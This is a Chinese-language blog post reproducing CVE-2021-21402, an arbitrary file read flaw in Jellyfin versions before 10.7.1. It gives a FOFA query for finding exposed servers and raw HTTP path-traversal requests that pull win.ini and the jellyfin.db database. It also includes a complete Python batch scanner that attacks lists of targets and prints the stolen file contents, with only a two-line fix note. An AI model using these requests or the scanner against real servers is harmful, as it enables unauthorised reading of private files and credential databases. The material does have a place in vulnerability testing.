Jellyfin任意文件读取漏洞复现(CVE-2021-21402)


影响版本:

Jellyfin<10.7.1

复现

fofa语法

title="Jellyfin"

POC

# poc_1
GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
Host:xxx.xxx.xxx.xxx
Content-Type: application/octet-stream


# poc_2
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
Host: x.x.x.x:5577
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: */*
Referer: http://110.93.247.208:5577/web/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


# poc_3
GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1
Host: xxx.xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: */*
Referer: http://110.93.247.208:5577/web/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


# 其他poc
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

批量检测脚本


import requests
import os
from urllib.parse import quote
from requests.sessions import session
os.system('')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse

class poc():
    def title(self):
        print('''
+-----------------------------------------------------------------+
漏洞名称:CVE-2021-21402 Jellyfin任意文件读取  
功能:单个检测,批量检测                                     
单个检测:python poc.py -u url
批量检测:python poc.py -f 1.txt
+-----------------------------------------------------------------+                                     
''')
    def exp(self, target_url, session):
        payload=input('请输入任意路径,默认请回车(例如:..\..\..\..\..\..\..\Windows\win.ini):') or '..\..\..\..\..\..\..\Windows\win.ini'
        url = f"{target_url}/Audio/1/hls/{quote(payload)}/stream.mp3/"
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}
        try:
            res = session.get(url=url,
                                headers=headers,
                                verify=False,
                                timeout=10)
            return res
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
    def poc(self, target_url, session):
        payload='..\data\jellyfin.db'
        url = f"{target_url}/Audio/1/hls/{quote(payload)}/stream.mp3/"
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}
        try:
            res = session.get(url=url,
                                headers=headers,
                                verify=False,
                                timeout=10)
            return res
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
    def main(self, target_url, file):
        self.title()
        count=0
        if target_url:
            session = requests.session()
            res=self.exp(target_url, session)
            if res.status_code==200 and res.text is not None:
                print(f'文件内容:{res.text}')
        if file:
            for url in file:
                count += 1
                target_url = url.replace('\n', '')  #取消换行符
                session = requests.session()
                res=self.poc(target_url, session)
                try:
                    if res.status_code==200 and res.text is not None:
                        print(f'\033[31m[{count}] {target_url} 可能存在漏洞\033[0m')
                    else:
                        print(f'[{count}] {target_url} 不存在漏洞')
                except Exception as e:
                    print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u',
                        '--url',
                        type=str,
                        default=False,
                        help="目标地址,带上http://")
    parser.add_argument("-f",
                        '--file',
                        type=argparse.FileType('r'),
                        default=False,
                        help="批量检测,带上http://")
    args = parser.parse_args()
    run = poc()
    run.main(args.url, args.file)

修复建议:

  • 更新版本。
  • 在Web应用防火墙上添加防护规则。

文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
致学弟学妹 致学弟学妹
各位学弟学妹好,我是2016级地信的薛彭帅。本来是打算录个小视频的,但由于工作原因没有实现,索性就用简单的文字来表达吧。 听说老师们组织你们年轻一届的学生参加行业内的各种比赛,听到之后非常羡慕,都有点想回去再上一次学了😆。由于我们当时参加
2021-04-29 剑胆琴心
下一篇 
Apache Solr SSRF与任意文件读取漏洞 Apache Solr SSRF与任意文件读取漏洞
前言Apache Solr是一个开源的搜索服务,使用Java语言开发,基于Lucene的全文搜索服务器。 Apache Solr全版本存在一个SSRF与任意文件读取漏洞,因Apache Solr整体默认安装为未授权,且大部分资产都为未授权,
2021-03-22
  目录